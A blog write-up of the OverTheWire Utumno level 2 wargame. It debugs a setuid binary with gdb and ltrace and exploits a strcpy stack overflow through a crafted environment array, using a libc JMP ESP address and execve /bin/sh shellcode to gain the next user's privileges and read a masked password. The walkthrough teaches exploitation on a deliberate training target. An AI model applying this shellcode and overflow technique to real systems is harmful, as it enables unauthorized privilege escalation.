OverTheWire.org - Utumno - Level 2 Writeup

Let's run the executable

utumno2@utumno:~$ /utumno/utumno2
Aw..

Not so much helpful, so let's try with ltrace

utumno2@utumno:~$ ltrace /utumno/utumno2
__libc_start_main(0x804844b, 1, 0xffffd794, 0x8048490 <unfinished ...>
puts("Aw.."Aw..
)                                     = 5
exit(1 <no return ...>
+++ exited (status 1) +++

Only a puts() call, we have to disassamble and inspect the code a bit more.

utumno2@utumno:~$ gdb /utumno/utumno2
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804844b <+0>:     push   %ebp
   0x0804844c <+1>:     mov    %esp,%ebp
   0x0804844e <+3>:     sub    $0xc,%esp
   0x08048451 <+6>:     cmpl   $0x0,0x8(%ebp)
   0x08048455 <+10>:    je     0x804846b <main+32>
   0x08048457 <+12>:    push   $0x8048510
   0x0804845c <+17>:    call   0x8048310 <puts@plt>
   0x08048461 <+22>:    add    $0x4,%esp
   0x08048464 <+25>:    push   $0x1
   0x08048466 <+27>:    call   0x8048320 <exit@plt>
   0x0804846b <+32>:    mov    0xc(%ebp),%eax
   0x0804846e <+35>:    add    $0x28,%eax
   0x08048471 <+38>:    mov    (%eax),%eax
   0x08048473 <+40>:    push   %eax
   0x08048474 <+41>:    lea    -0xc(%ebp),%eax
   0x08048477 <+44>:    push   %eax
   0x08048478 <+45>:    call   0x8048300 <strcpy@plt>
   0x0804847d <+50>:    add    $0x8,%esp
   0x08048480 <+53>:    mov    $0x0,%eax
   0x08048485 <+58>:    leave
   0x08048486 <+59>:    ret
End of assembler dump.
(gdb)

Hey, there's a strcpy() at the end: can we use it, how can we reach it?

Let's focus on the lines 0x08048451 and 0x08048455

The first line compares the memory location (EBP + 0x08) with 0

If they are equal it jumps over the puts() and exit() to the strcpy() call.
otherwise it calls puts() and exit().

To understand what it does, we can place a breakpoint on line 0x08048455, execute and read memory around EBP

(gdb) break *0x08048455
Breakpoint 1 at 0x8048455: file utumno2.c, line 23.
(gdb) r
Starting program: /utumno/utumno2

Breakpoint 1, 0x08048455 in main (argc=1, argv=0xffffd784) at utumno2.c:23
23      utumno2.c: No such file or directory.
(gdb) info reg ebp
ebp            0xffffd6e8       0xffffd6e8
(gdb) x/8wx 0xffffd6e0
0xffffd6e0:     0x00000001      0xf7fc5000      0x00000000      0xf7e2a286
0xffffd6f0:     0x00000001      0xffffd784      0xffffd78c      0x00000000

EBP + 8 is 0xffffd6f0, that contains 1

Let's try to pass an argument

(gdb) set args A
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno2 A

Breakpoint 1, 0x08048455 in main (argc=2, argv=0xffffd784) at utumno2.c:23
23      in utumno2.c
(gdb)  x/8wx 0xffffd6e0
0xffffd6e0:     0x00000002      0xf7fc5000      0x00000000      0xf7e2a286
0xffffd6f0:     0x00000002      0xffffd784      0xffffd790      0x00000000

OK... the address at EBP + 0x08 (0xffffd6f0) , now contains 2

It seems that the comparison checks if the argv[] buffer is void.
If it is, then jump to strcpy.

So let's build a C program that calls the executable without passing ARGV or ENV:

#include <unistd.h>

int main (int argc, char *argv[])
{
    execve("/utumno/utumno2",NULL,NULL);

    return 0;
}

Compile it and run.

utumno2@utumno:/tmp/utum2$ gcc -m32 run.c -o run
utumno2@utumno:/tmp/utum2$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555600 <unfinished ...>
execve(0x56555680, 0, 0, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x804844b, 0, 0xffffdf14, 0x8048490 <unfinished ...>
strcpy(0xffffde6c, "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Yes! We can reach the strcpy.
The arguments of strcpy are: a memory address on the stack and a sequence of characters...
Maybe it's getting something from the memory.
But where? Looking a bit more to the assembler code, it seems that it uses something on the stack but at memory locations a bit higher that the argv[] pointer.

Let's try to pass something as environment, but keeping the argv[] as NULL

#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[10];

    sc[0]="/utumno/utumno2";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";
    sc[4]= "DDDD";
    sc[6]= "EEEE";
    sc[7]= "FFFF";
    sc[8]= "GGGG";
    sc[9]= "HHHH";

    execve("/utumno/utumno2",NULL,sc);

    return 0;
}

Run and compile:

utumno2@utumno:/tmp/utum2$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...>
execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x804844b, 0, 0xffffde94, 0x8048490 <unfinished ...>
strcpy(0xffffddec, "HHHH")                                                                       = 0xffffddec
+++ exited (status 0) +++

And it seems that the 10th ENV item is the buffer that is copied to the stack
We now have a way to write past behind the target buffer: let's put a longer sequence in the 10th item:

#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[10];

    sc[0]="/utumno/utumno2";
    sc[1]= "Z";
    sc[2]= "Z";
    sc[3]= "Z";
    sc[4]= "Z";
    sc[6]= "Z";
    sc[7]= "Z";
    sc[8]= "Z";
    sc[9]= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH";

    execve("/utumno/utumno2",NULL,sc);

    return 0;
}

Compile and run in gdb
utumno2@utumno:/tmp/utum2$ gcc -m32 run.c  -o run

utumno2@utumno:/tmp/utum2$ gdb run
...
(gdb) r
Starting program: /tmp/utum2/run
process 20928 is executing new program: /utumno/utumno2

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb)

We changed the execution flow to 0x45454545 (hex code for SCII "EEEE")
I believe it's exploitable in some way...
Now it's time to find a JMP ESP location:

(gdb) break *0x08048455
(gdb) r
Starting program: /utumno/utumno2

Breakpoint 1, 0x08048455 in main (argc=1, argv=0xffffd774) at utumno2.c:23
23      in utumno2.c
(gdb) info proc map
(gdb) info proc map
process 21143
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /utumno/utumno2
         0x8049000  0x804a000     0x1000        0x0 /utumno/utumno2
        0xf7e10000 0xf7e12000     0x2000        0x0
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0
        0xf7fd2000 0xf7fd4000     0x2000        0x0
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]

(gdb) find /b  0xf7e12000, 0xf7fc3000, 0xff, 0xe4
...
0xf7f6b097
...

We can choose one of the many address in the list. Let's try with 0xf7f6b097

So now we have to combine:

  • filling buffer "AAAABBBBCCCCDDDD" 
  • JMP ESP address 0xf7f6b097 
  • shellcode (we use the shellcode that cleans ECX and EDX to prevent issues like the previos level)

#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[10];

    sc[0]="/utumno/utumno2";
    sc[1]= "Z";
    sc[2]= "Z";
    sc[3]= "Z";
    sc[4]= "Z";
    sc[6]= "Z";
    sc[7]= "Z";
    sc[8]= "Z";
    sc[9]= "AAAABBBBCCCCDDDD\x97\xb0\xf6\xf7\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80";
    
    execve("/utumno/utumno2",NULL,sc);

    return 0;
}

Compile and  run, this time outside gdb

utumno2@utumno:/tmp/utum2$   gcc -m32 run.c -o run
utumno2@utumno:/tmp/utum2$   ./run
$ id
uid=16002(utumno2) gid=16002(utumno2) euid=16003(utumno3) groups=16002(utumno2)
$ cat /etc/utumno_pass/utumno3
z*******e
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.